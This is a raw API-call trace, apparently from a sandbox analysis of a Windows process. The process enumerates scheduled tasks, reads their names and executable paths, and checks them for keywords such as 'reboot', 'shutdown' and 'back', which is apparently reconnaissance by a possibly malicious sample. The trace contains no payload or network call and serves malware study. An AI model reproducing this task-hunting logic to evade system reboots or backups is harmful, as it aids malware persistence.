	[0069.295] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1e, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19b508) returned 0x0
	[0069.295] ITaskFolder:GetTasks (in: This=0x19b508, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19b800) returned 0x0
	[0069.296] IRegisteredTaskCollection:get_Count (in: This=0x19b800, pCount=0x43af854 | out: pCount=0x43af854*=1) returned 0x0
	[0069.296] IRegisteredTaskCollection:get_Item (in: This=0x19b800, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19b8d8) returned 0x0
	[0069.296] IRegisteredTask:get_Name (in: This=0x19b8d8, pName=0x43af860 | out: pName=0x43af860*="Property Definition Sync") returned 0x0
	[0069.296] IRegisteredTask:get_State (in: This=0x19b8d8, pState=0x43af864 | out: pState=0x43af864*=1) returned 0x0
	[0069.297] IUnknown:Release (This=0x19b8d8) returned 0x0
	[0069.297] IUnknown:Release (This=0x19b800) returned 0x0
	[0069.297] ITaskFolder:GetFolders (in: This=0x19b508, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19b800) returned 0x0
	[0069.340] ITaskFolderCollection:get_Count (in: This=0x19b800, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0069.341] IUnknown:Release (This=0x19b800) returned 0x0
	[0069.341] TaskScheduler:IUnknown:Release (This=0x19b508) returned 0x0
	[0069.341] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1f, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19b508) returned 0x0
	[0069.341] ITaskFolder:GetTasks (in: This=0x19b508, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19b800) returned 0x0
	[0069.342] IRegisteredTaskCollection:get_Count (in: This=0x19b800, pCount=0x43af854 | out: pCount=0x43af854*=1) returned 0x0
	[0069.342] IRegisteredTaskCollection:get_Item (in: This=0x19b800, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19b860) returned 0x0
	[0069.342] IRegisteredTask:get_Name (in: This=0x19b860, pName=0x43af860 | out: pName=0x43af860*="File History (maintenance mode)") returned 0x0
	[0069.342] IRegisteredTask:get_State (in: This=0x19b860, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0069.342] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x40) returned 0x2873b10
	[0069.342] wcsstr (_Str="file history (maintenance mode)", _SubStr="reboot") returned 0x0
	[0069.342] wcsstr (_Str="file history (maintenance mode)", _SubStr="restart") returned 0x0
	[0069.342] wcsstr (_Str="file history (maintenance mode)", _SubStr="shutdown") returned 0x0
	[0069.342] wcsstr (_Str="file history (maintenance mode)", _SubStr="logoff") returned 0x0
	[0069.342] wcsstr (_Str="file history (maintenance mode)", _SubStr="back") returned 0x0
	[0069.342] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2873b10) returned 1
	[0069.342] IRegisteredTask:get_Definition (in: This=0x19b860, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19b8d0) returned 0x0
	[0069.475] ITaskDefinition:get_Actions (in: This=0x19b8d0, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19b920) returned 0x0
	[0069.475] IActionCollection:get_Count (in: This=0x19b920, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0069.475] IActionCollection:get_Item (in: This=0x19b920, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19ae10) returned 0x0
	[0069.475] IAction:get_Type (in: This=0x19ae10, pType=0x43af84c | out: pType=0x43af84c*=5) returned 0x0
	[0069.475] IUnknown:Release (This=0x19ae10) returned 0x1
	[0069.475] IUnknown:Release (This=0x19b920) returned 0x1
	[0069.475] IUnknown:Release (This=0x19b8d0) returned 0x0
	[0069.476] IUnknown:Release (This=0x19b860) returned 0x0
	[0069.476] IUnknown:Release (This=0x19b800) returned 0x0
	[0069.476] ITaskFolder:GetFolders (in: This=0x19b508, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19b800) returned 0x0
	[0069.476] ITaskFolderCollection:get_Count (in: This=0x19b800, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0069.476] IUnknown:Release (This=0x19b800) returned 0x0
	[0069.476] TaskScheduler:IUnknown:Release (This=0x19b508) returned 0x0
	[0069.476] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19b508) returned 0x0
	[0069.476] ITaskFolder:GetTasks (in: This=0x19b508, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19b558) returned 0x0
	[0069.478] IRegisteredTaskCollection:get_Count (in: This=0x19b558, pCount=0x43af854 | out: pCount=0x43af854*=2) returned 0x0
	[0069.478] IRegisteredTaskCollection:get_Item (in: This=0x19b558, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19b800) returned 0x0
	[0069.478] IRegisteredTask:get_Name (in: This=0x19b800, pName=0x43af860 | out: pName=0x43af860*="Installation") returned 0x0
	[0069.478] IRegisteredTask:get_State (in: This=0x19b800, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0069.478] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x289af88
	[0069.478] wcsstr (_Str="installation", _SubStr="reboot") returned 0x0
	[0069.478] wcsstr (_Str="installation", _SubStr="restart") returned 0x0
	[0069.478] wcsstr (_Str="installation", _SubStr="shutdown") returned 0x0
	[0069.478] wcsstr (_Str="installation", _SubStr="logoff") returned 0x0
	[0069.478] wcsstr (_Str="installation", _SubStr="back") returned 0x0
	[0069.478] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289af88) returned 1
	[0069.478] IRegisteredTask:get_Definition (in: This=0x19b800, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19b870) returned 0x0
	[0069.567] ITaskDefinition:get_Actions (in: This=0x19b870, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19b8c0) returned 0x0
	[0069.567] IActionCollection:get_Count (in: This=0x19b8c0, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0069.567] IActionCollection:get_Item (in: This=0x19b8c0, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19ae60) returned 0x0
	[0069.567] IAction:get_Type (in: This=0x19ae60, pType=0x43af84c | out: pType=0x43af84c*=5) returned 0x0
	[0069.567] IUnknown:Release (This=0x19ae60) returned 0x1
	[0069.567] IUnknown:Release (This=0x19b8c0) returned 0x1
	[0069.567] IUnknown:Release (This=0x19b870) returned 0x0
	[0069.567] IUnknown:Release (This=0x19b800) returned 0x0
	[0069.567] IRegisteredTaskCollection:get_Item (in: This=0x19b558, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19b800) returned 0x0
	[0069.567] IRegisteredTask:get_Name (in: This=0x19b800, pName=0x43af860 | out: pName=0x43af860*="Uninstallation") returned 0x0
	[0069.567] IRegisteredTask:get_State (in: This=0x19b800, pState=0x43af864 | out: pState=0x43af864*=1) returned 0x0
	[0069.568] IUnknown:Release (This=0x19b800) returned 0x0
	[0069.568] IUnknown:Release (This=0x19b558) returned 0x0
	[0069.568] ITaskFolder:GetFolders (in: This=0x19b508, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19b558) returned 0x0
	[0069.568] ITaskFolderCollection:get_Count (in: This=0x19b558, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0069.569] IUnknown:Release (This=0x19b558) returned 0x0
	[0069.569] TaskScheduler:IUnknown:Release (This=0x19b508) returned 0x0
	[0069.569] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x21, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19b508) returned 0x0
	[0069.569] ITaskFolder:GetTasks (in: This=0x19b508, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19a940) returned 0x0
	[0069.569] IRegisteredTaskCollection:get_Count (in: This=0x19a940, pCount=0x43af854 | out: pCount=0x43af854*=0) returned 0x0
	[0069.570] IUnknown:Release (This=0x19a940) returned 0x0
	[0069.570] ITaskFolder:GetFolders (in: This=0x19b508, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19a940) returned 0x0
	[0069.612] ITaskFolderCollection:get_Count (in: This=0x19a940, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0069.612] IUnknown:Release (This=0x19a940) returned 0x0
	[0069.612] TaskScheduler:IUnknown:Release (This=0x19b508) returned 0x0
	[0069.612] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x22, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19b508) returned 0x0
	[0069.612] ITaskFolder:GetTasks (in: This=0x19b508, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19b558) returned 0x0
	[0069.612] IRegisteredTaskCollection:get_Count (in: This=0x19b558, pCount=0x43af854 | out: pCount=0x43af854*=0) returned 0x0
	[0069.612] IUnknown:Release (This=0x19b558) returned 0x0
	[0069.612] ITaskFolder:GetFolders (in: This=0x19b508, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19b558) returned 0x0
	[0069.613] ITaskFolderCollection:get_Count (in: This=0x19b558, pCount=0x43af8a8 | out: pCount=0x43af8a8*=1) returned 0x0
	[0069.613] ITaskFolderCollection:get_Item (in: This=0x19b558, index=0x43af884*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppFolder=0x43af8ac | out: ppFolder=0x43af8ac*=0x19a940) returned 0x0
	[0069.613] ITaskFolder:GetTasks (in: This=0x19a940, flags=0, ppTasks=0x43af84c | out: ppTasks=0x43af84c*=0x19a9d8) returned 0x0
	[0069.614] IRegisteredTaskCollection:get_Count (in: This=0x19a9d8, pCount=0x43af828 | out: pCount=0x43af828*=0) returned 0x0
	[0069.614] IUnknown:Release (This=0x19a9d8) returned 0x0
	[0069.614] ITaskFolder:GetFolders (in: This=0x19a940, flags=0, ppFolders=0x43af888 | out: ppFolders=0x43af888*=0x19a9d8) returned 0x0
	[0069.614] ITaskFolderCollection:get_Count (in: This=0x19a9d8, pCount=0x43af87c | out: pCount=0x43af87c*=0) returned 0x0
	[0069.615] IUnknown:Release (This=0x19a9d8) returned 0x0
	[0069.615] TaskScheduler:IUnknown:Release (This=0x19a940) returned 0x0
	[0069.615] IUnknown:Release (This=0x19b558) returned 0x0
	[0069.615] TaskScheduler:IUnknown:Release (This=0x19b508) returned 0x0
	[0069.615] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x23, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19b508) returned 0x0
	[0069.615] ITaskFolder:GetTasks (in: This=0x19b508, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19b598) returned 0x0
	[0069.616] IRegisteredTaskCollection:get_Count (in: This=0x19b598, pCount=0x43af854 | out: pCount=0x43af854*=2) returned 0x0
	[0069.616] IRegisteredTaskCollection:get_Item (in: This=0x19b598, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19a988) returned 0x0
	[0069.616] IRegisteredTask:get_Name (in: This=0x19a988, pName=0x43af860 | out: pName=0x43af860*="Notifications") returned 0x0
	[0069.616] IRegisteredTask:get_State (in: This=0x19a988, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0069.617] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x289afb0
	[0069.617] wcsstr (_Str="notifications", _SubStr="reboot") returned 0x0
	[0069.617] wcsstr (_Str="notifications", _SubStr="restart") returned 0x0
	[0069.617] wcsstr (_Str="notifications", _SubStr="shutdown") returned 0x0
	[0069.617] wcsstr (_Str="notifications", _SubStr="logoff") returned 0x0
	[0069.617] wcsstr (_Str="notifications", _SubStr="back") returned 0x0
	[0069.617] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289afb0) returned 1
	[0069.617] IRegisteredTask:get_Definition (in: This=0x19a988, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19a9f8) returned 0x0
	[0069.627] ITaskDefinition:get_Actions (in: This=0x19a9f8, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19aa48) returned 0x0
	[0069.627] IActionCollection:get_Count (in: This=0x19aa48, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0069.627] IActionCollection:get_Item (in: This=0x19aa48, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19bd30) returned 0x0
	[0069.627] IAction:get_Type (in: This=0x19bd30, pType=0x43af84c | out: pType=0x43af84c*=0) returned 0x0
	[0069.627] IUnknown:QueryInterface (in: This=0x19bd30, riid=0x15606c*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x43af884 | out: ppvObject=0x43af884*=0x19bd30) returned 0x0
	[0069.628] IExecAction:get_Path (in: This=0x19bd30, pPath=0x43af85c | out: pPath=0x43af85c*="%windir%\\System32\\LocationNotificationWindows.exe") returned 0x0
	[0069.628] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x64) returned 0x28bc668
	[0069.628] wcsstr (_Str="%windir%\\system32\\locationnotificationwindows.exe", _SubStr="reboot") returned 0x0
	[0069.628] wcsstr (_Str="%windir%\\system32\\locationnotificationwindows.exe", _SubStr="restart") returned 0x0
	[0069.628] wcsstr (_Str="%windir%\\system32\\locationnotificationwindows.exe", _SubStr="shutdown") returned 0x0
	[0069.628] wcsstr (_Str="%windir%\\system32\\locationnotificationwindows.exe", _SubStr="logoff") returned 0x0
	[0069.628] wcsstr (_Str="%windir%\\system32\\locationnotificationwindows.exe", _SubStr="back") returned 0x0
	[0069.628] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28bc668) returned 1
	[0069.628] IExecAction:get_Arguments (in: This=0x19bd30, pArgument=0x43af858 | out: pArgument=0x43af858*=0x0) returned 0x0
	[0069.628] IUnknown:Release (This=0x19bd30) returned 0x2
	[0069.628] IUnknown:Release (This=0x19bd30) returned 0x1
	[0069.628] IUnknown:Release (This=0x19aa48) returned 0x1
	[0069.628] IUnknown:Release (This=0x19a9f8) returned 0x0
	[0069.628] IUnknown:Release (This=0x19a988) returned 0x0
	[0069.628] IRegisteredTaskCollection:get_Item (in: This=0x19b598, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19a988) returned 0x0
	[0069.628] IRegisteredTask:get_Name (in: This=0x19a988, pName=0x43af860 | out: pName=0x43af860*="WindowsActionDialog") returned 0x0
	[0069.628] IRegisteredTask:get_State (in: This=0x19a988, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0069.629] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x28) returned 0x2877fa8
	[0069.629] wcsstr (_Str="windowsactiondialog", _SubStr="reboot") returned 0x0
	[0069.629] wcsstr (_Str="windowsactiondialog", _SubStr="restart") returned 0x0
	[0069.629] wcsstr (_Str="windowsactiondialog", _SubStr="shutdown") returned 0x0
	[0069.629] wcsstr (_Str="windowsactiondialog", _SubStr="logoff") returned 0x0
	[0069.629] wcsstr (_Str="windowsactiondialog", _SubStr="back") returned 0x0
	[0069.629] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877fa8) returned 1
	[0069.629] IRegisteredTask:get_Definition (in: This=0x19a988, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19a9f8) returned 0x0
	[0069.732] ITaskDefinition:get_Actions (in: This=0x19a9f8, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19aa48) returned 0x0
	[0069.732] IActionCollection:get_Count (in: This=0x19aa48, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0069.732] IActionCollection:get_Item (in: This=0x19aa48, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19bd30) returned 0x0
	[0069.732] IAction:get_Type (in: This=0x19bd30, pType=0x43af84c | out: pType=0x43af84c*=0) returned 0x0
	[0069.732] IUnknown:QueryInterface (in: This=0x19bd30, riid=0x15606c*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x43af884 | out: ppvObject=0x43af884*=0x19bd30) returned 0x0
	[0069.732] IExecAction:get_Path (in: This=0x19bd30, pPath=0x43af85c | out: pPath=0x43af85c*="%windir%\\System32\\WindowsActionDialog.exe") returned 0x0
	[0069.732] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x54) returned 0x285bd28
	[0069.732] wcsstr (_Str="%windir%\\system32\\windowsactiondialog.exe", _SubStr="reboot") returned 0x0
	[0069.732] wcsstr (_Str="%windir%\\system32\\windowsactiondialog.exe", _SubStr="restart") returned 0x0
	[0069.732] wcsstr (_Str="%windir%\\system32\\windowsactiondialog.exe", _SubStr="shutdown") returned 0x0
	[0069.732] wcsstr (_Str="%windir%\\system32\\windowsactiondialog.exe", _SubStr="logoff") returned 0x0
	[0069.732] wcsstr (_Str="%windir%\\system32\\windowsactiondialog.exe", _SubStr="back") returned 0x0
	[0069.732] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x285bd28) returned 1
	[0069.733] IExecAction:get_Arguments (in: This=0x19bd30, pArgument=0x43af858 | out: pArgument=0x43af858*=0x0) returned 0x0
	[0069.733] IUnknown:Release (This=0x19bd30) returned 0x2
	[0069.733] IUnknown:Release (This=0x19bd30) returned 0x1
	[0069.733] IUnknown:Release (This=0x19aa48) returned 0x1
	[0069.733] IUnknown:Release (This=0x19a9f8) returned 0x0
	[0069.733] IUnknown:Release (This=0x19a988) returned 0x0
	[0069.733] IUnknown:Release (This=0x19b598) returned 0x0
	[0069.733] ITaskFolder:GetFolders (in: This=0x19b508, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19b598) returned 0x0
	[0069.733] ITaskFolderCollection:get_Count (in: This=0x19b598, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0069.733] IUnknown:Release (This=0x19b598) returned 0x0
	[0069.733] TaskScheduler:IUnknown:Release (This=0x19b508) returned 0x0
	[0069.733] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x24, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19b508) returned 0x0
	[0069.733] ITaskFolder:GetTasks (in: This=0x19b508, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19a940) returned 0x0
	[0069.734] IRegisteredTaskCollection:get_Count (in: This=0x19a940, pCount=0x43af854 | out: pCount=0x43af854*=1) returned 0x0
	[0069.734] IRegisteredTaskCollection:get_Item (in: This=0x19a940, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19a9a0) returned 0x0
	[0069.734] IRegisteredTask:get_Name (in: This=0x19a9a0, pName=0x43af860 | out: pName=0x43af860*="WinSAT") returned 0x0
	[0069.735] IRegisteredTask:get_State (in: This=0x19a9a0, pState=0x43af864 | out: pState=0x43af864*=1) returned 0x0
	[0069.735] IUnknown:Release (This=0x19a9a0) returned 0x0
	[0069.735] IUnknown:Release (This=0x19a940) returned 0x0
	[0069.735] ITaskFolder:GetFolders (in: This=0x19b508, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19a940) returned 0x0
	[0069.736] ITaskFolderCollection:get_Count (in: This=0x19a940, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0069.736] IUnknown:Release (This=0x19a940) returned 0x0
	[0069.736] TaskScheduler:IUnknown:Release (This=0x19b508) returned 0x0
	[0069.736] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x25, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19b508) returned 0x0
	[0069.736] ITaskFolder:GetTasks (in: This=0x19b508, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19a940) returned 0x0
	[0069.737] IRegisteredTaskCollection:get_Count (in: This=0x19a940, pCount=0x43af854 | out: pCount=0x43af854*=0) returned 0x0
	[0069.737] IUnknown:Release (This=0x19a940) returned 0x0
	[0069.737] ITaskFolder:GetFolders (in: This=0x19b508, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19a940) returned 0x0
	[0069.738] ITaskFolderCollection:get_Count (in: This=0x19a940, pCount=0x43af8a8 | out: pCount=0x43af8a8*=1) returned 0x0
	[0069.738] ITaskFolderCollection:get_Item (in: This=0x19a940, index=0x43af884*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppFolder=0x43af8ac | out: ppFolder=0x43af8ac*=0x19a9a0) returned 0x0
	[0069.738] ITaskFolder:GetTasks (in: This=0x19a9a0, flags=0, ppTasks=0x43af84c | out: ppTasks=0x43af84c*=0x19aa50) returned 0x0
	[0069.739] IRegisteredTaskCollection:get_Count (in: This=0x19aa50, pCount=0x43af828 | out: pCount=0x43af828*=0) returned 0x0
	[0069.739] IUnknown:Release (This=0x19aa50) returned 0x0
	[0069.739] ITaskFolder:GetFolders (in: This=0x19a9a0, flags=0, ppFolders=0x43af888 | out: ppFolders=0x43af888*=0x19aa50) returned 0x0
	[0069.739] ITaskFolderCollection:get_Count (in: This=0x19aa50, pCount=0x43af87c | out: pCount=0x43af87c*=0) returned 0x0
	[0069.739] IUnknown:Release (This=0x19aa50) returned 0x0
	[0069.739] TaskScheduler:IUnknown:Release (This=0x19a9a0) returned 0x0
	[0069.739] IUnknown:Release (This=0x19a940) returned 0x0
	[0069.739] TaskScheduler:IUnknown:Release (This=0x19b508) returned 0x0
	[0069.739] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x26, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19b508) returned 0x0
	[0069.740] ITaskFolder:GetTasks (in: This=0x19b508, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19b558) returned 0x0
	[0069.741] IRegisteredTaskCollection:get_Count (in: This=0x19b558, pCount=0x43af854 | out: pCount=0x43af854*=1) returned 0x0
	[0069.741] IRegisteredTaskCollection:get_Item (in: This=0x19b558, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19a940) returned 0x0
	[0069.741] IRegisteredTask:get_Name (in: This=0x19a940, pName=0x43af860 | out: pName=0x43af860*="MapsUpdateTask") returned 0x0
	[0069.741] IRegisteredTask:get_State (in: This=0x19a940, pState=0x43af864 | out: pState=0x43af864*=1) returned 0x0
	[0069.915] IUnknown:Release (This=0x19a940) returned 0x0
	[0069.915] IUnknown:Release (This=0x19b558) returned 0x0
	[0069.915] ITaskFolder:GetFolders (in: This=0x19b508, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19b558) returned 0x0
	[0069.916] ITaskFolderCollection:get_Count (in: This=0x19b558, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0069.917] IUnknown:Release (This=0x19b558) returned 0x0
	[0069.917] TaskScheduler:IUnknown:Release (This=0x19b508) returned 0x0
	[0069.917] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x27, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19b508) returned 0x0
	[0069.917] ITaskFolder:GetTasks (in: This=0x19b508, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19a940) returned 0x0
	[0069.918] IRegisteredTaskCollection:get_Count (in: This=0x19a940, pCount=0x43af854 | out: pCount=0x43af854*=0) returned 0x0
	[0069.918] IUnknown:Release (This=0x19a940) returned 0x0
	[0069.918] ITaskFolder:GetFolders (in: This=0x19b508, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19a940) returned 0x0
	[0069.919] ITaskFolderCollection:get_Count (in: This=0x19a940, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0069.919] IUnknown:Release (This=0x19a940) returned 0x0
	[0069.919] TaskScheduler:IUnknown:Release (This=0x19b508) returned 0x0
	[0069.919] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x28, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19b508) returned 0x0
	[0069.919] ITaskFolder:GetTasks (in: This=0x19b508, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19b558) returned 0x0
	[0069.920] IRegisteredTaskCollection:get_Count (in: This=0x19b558, pCount=0x43af854 | out: pCount=0x43af854*=1) returned 0x0
	[0069.920] IRegisteredTaskCollection:get_Item (in: This=0x19b558, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19a940) returned 0x0
	[0069.920] IRegisteredTask:get_Name (in: This=0x19a940, pName=0x43af860 | out: pName=0x43af860*="MNO Metadata Parser") returned 0x0
	[0069.920] IRegisteredTask:get_State (in: This=0x19a940, pState=0x43af864 | out: pState=0x43af864*=1) returned 0x0
	[0069.921] IUnknown:Release (This=0x19a940) returned 0x0
	[0069.921] IUnknown:Release (This=0x19b558) returned 0x0
	[0069.921] ITaskFolder:GetFolders (in: This=0x19b508, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19b558) returned 0x0
	[0069.922] ITaskFolderCollection:get_Count (in: This=0x19b558, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0069.922] IUnknown:Release (This=0x19b558) returned 0x0
	[0069.922] TaskScheduler:IUnknown:Release (This=0x19b508) returned 0x0
	[0069.922] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x29, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19b508) returned 0x0
	[0069.922] ITaskFolder:GetTasks (in: This=0x19b508, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19b558) returned 0x0
	[0069.923] IRegisteredTaskCollection:get_Count (in: This=0x19b558, pCount=0x43af854 | out: pCount=0x43af854*=1) returned 0x0
	[0069.923] IRegisteredTaskCollection:get_Item (in: This=0x19b558, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19a940) returned 0x0
	[0069.923] IRegisteredTask:get_Name (in: This=0x19a940, pName=0x43af860 | out: pName=0x43af860*="LPRemove") returned 0x0
	[0069.923] IRegisteredTask:get_State (in: This=0x19a940, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
